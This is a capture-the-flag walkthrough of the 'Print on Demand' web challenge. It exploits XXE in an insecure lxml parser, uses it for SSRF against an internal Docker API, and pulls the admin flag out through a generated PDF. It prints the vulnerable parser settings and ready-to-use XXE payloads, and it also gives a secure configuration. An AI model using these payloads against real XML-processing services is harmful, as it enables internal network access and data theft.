Print on Demand (Печать по запросу)
Print on Demand (Печать по запросу)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: docker_service_discovery, xml_entity_injection, xxe_to_ssrf
Summary
Walkthrough of the CUSTOM Web Print on Demand (Печать по запросу). Task: Flask web app generating PDF certificates from user-supplied XML with an internal API holding the flag. Solution: Exploited XXE via insecure lxml parser (no_network=False, resolve_entities=True)
Overview
| Property | Value |
|---|---|
| Event | DUCKERZ CTF |
| Task ID | 139 |
| Category | Web |
| Difficulty | Medium |
| Points | 250 |
| Target | http://tasks.duckerz.ru:30023 |
| Files | printOnDeman.zip |
Challenge Description:
"Наконец то выпустили сайт где можно создавать сертификаты на все случаи жизни, я так его ждал!" (Finally released a site where you can create certificates for all occasions, I've been waiting for it!)
Reconnaissance
Application Architecture
The provided source code revealed a Flask web application with the following architecture:
-
Main Web Application - Public-facing certificate generator
- Accepts XML input for certificate data
- Generates PDF certificates from XML
- User registration/login system
-
Internal API Service (
printondemand-api) - Not publicly accessible/list- Returns list of users with their UUIDs/get_flag?uuid=XXX- Returns flag if UUID belongs to admin user
Critical Configuration Discovery
XML Parser Configuration (main.py):
python read-only • copy allowedparser = etree.XMLParser( load_dtd=True, # Allows loading external DTDs resolve_entities=True, # Resolves XML entities huge_tree=True, # Allows large XML trees no_network=False # CRITICAL: Allows network requests! )
Port Discrepancy:
main.pyreferenced port 8080DockerfiledefinedENV PORT=8000- actual runtime port
This discrepancy was crucial - using the wrong port would cause exploitation to fail.
Vulnerability Analysis
XXE (XML External Entity) Injection
The XML parser configuration creates a classic XXE vulnerability:
load_dtd=True- Allows DOCTYPE declarations with external DTD loadingresolve_entities=True- Processes entity references in XMLno_network=False- Enables network requests from XML entities
Combined with a custom HTTPSResolver that allows HTTP/HTTPS requests, this creates an XXE-to-SSRF attack chain.
Attack Vector
User Input (XML) -> XXE Entity -> SSRF to Internal API -> Data Exfiltration via PDF
The vulnerability allows:
- Reading internal service responses
- Accessing Docker internal network services
- Exfiltrating data through the generated PDF certificate
Exploitation
Step 1: Initial Setup
Register an account and login to access the certificate creation functionality.
Step 2: Enumerate Internal Users
Upload XML payload to retrieve user list from internal API:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE certificate [ <!ENTITY xxe SYSTEM "http://printondemand-api:8000/list"> ]> <certificate> <recipient>&xxe;</recipient> <course>Test</course> <date>2025-01-15</date> <issuer>Test</issuer> </certificate>
Response in generated PDF:
json read-only • copy allowed[{"uuid": "550e8400-e29b-41d4-a716-446655440000", "name": "admin"}, ...]
Step 3: Retrieve Flag
Using the admin UUID, craft final payload:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE certificate [ <!ENTITY xxe SYSTEM "http://printondemand-api:8000/get_flag?uuid=550e8400-e29b-41d4-a716-446655440000"> ]> <certificate> <recipient>&xxe;</recipient> <course>Test</course> <date>2025-01-15</date> <issuer>Test</issuer> </certificate>
Extracting the Flag
Download the generated PDF and extract text:
bash read-only • copy allowedcurl -o certificate.pdf "http://tasks.duckerz.ru:30023/download/..." pdftotext certificate.pdf -
Lessons Learned
Key Takeaways
-
Always Check Dockerfile Configuration
- Runtime configuration (ENV variables) may differ from source code defaults
- Port 8000 was set in Dockerfile, not 8080 as referenced in main.py
-
XXE with Network Access = SSRF
no_network=Falsein lxml XMLParser enables external entity resolution over HTTP/HTTPS- Combined with
resolve_entities=True, this creates a powerful SSRF primitive
-
Docker Service Discovery
- Docker Compose service names are resolvable as hostnames within the same network
printondemand-apiwas accessible by service name from the main container
-
Data Exfiltration via Application Features
- The PDF generation feature became the exfiltration channel
- Entity content was rendered directly into the certificate
Secure Configuration
To prevent this vulnerability:
python read-only • copy allowed# Secure XML parser configuration parser = etree.XMLParser( load_dtd=False, resolve_entities=False, no_network=True )
Indicators for This Attack
Use this technique when you see:
- XML input processing with lxml/etree
resolve_entities=Trueorno_network=Falsein parser config- Internal microservices architecture (Docker Compose)
- PDF/document generation from user-controlled XML
Key Takeaways / Lessons
- Mastering docker_service_discovery, xml_entity_injection, xxe_to_ssrf was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-15 • CUSTOM • Print on Demand (Печать по запросу) • Difficulty: Medium